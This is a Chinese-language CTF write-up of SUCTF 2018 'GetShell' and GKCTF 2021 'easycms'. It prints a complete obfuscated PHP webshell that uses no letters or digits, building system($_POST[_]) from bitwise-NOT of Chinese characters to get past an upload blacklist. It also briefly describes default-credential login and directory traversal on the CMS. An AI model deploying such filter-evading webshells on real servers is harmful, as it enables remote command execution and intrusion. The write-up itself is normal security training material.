[SUCTF 2018]GetShell
打开题目,要进行getshell
上传文件,然后截取内容,从第六位开始的内容都会赋给data,然后会有一个黑名单一样的东西,如果data中存在黑名单字符,就会die。
fuzz之后,数字及英文字母都被过滤了
查看资料:一些不包含数字和字母的webshell
发现需要使用文章中第二种的方式
没有过滤的字符有$ ( ) [ ] _ ~ ;
<?php
$_=[]; //
$__=$_.$_; //arrayarray
$_=($_==$__);//$_=(array==arrayarray)明显不相同 false 0
$__=($_==$_);//$__=(array==array) 相同返回1
$___ = ~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____ = ~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST
$____($$__[_]);//也就是system($_POST[_])
payload:
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
直接上传一个php文件
没得到flag,查看其它wp知道环境有点问题,flag不在这里,但是可以使用env来得到flag
[GKCTF 2021]easycms
提示:
进入admin.php页面,使用admin 12345成功登录,发现可以进行网页编辑,但是需要权限
在微信这里存在目录穿越
随便上传一张图片
回到编辑页面
编辑代码,拿到flag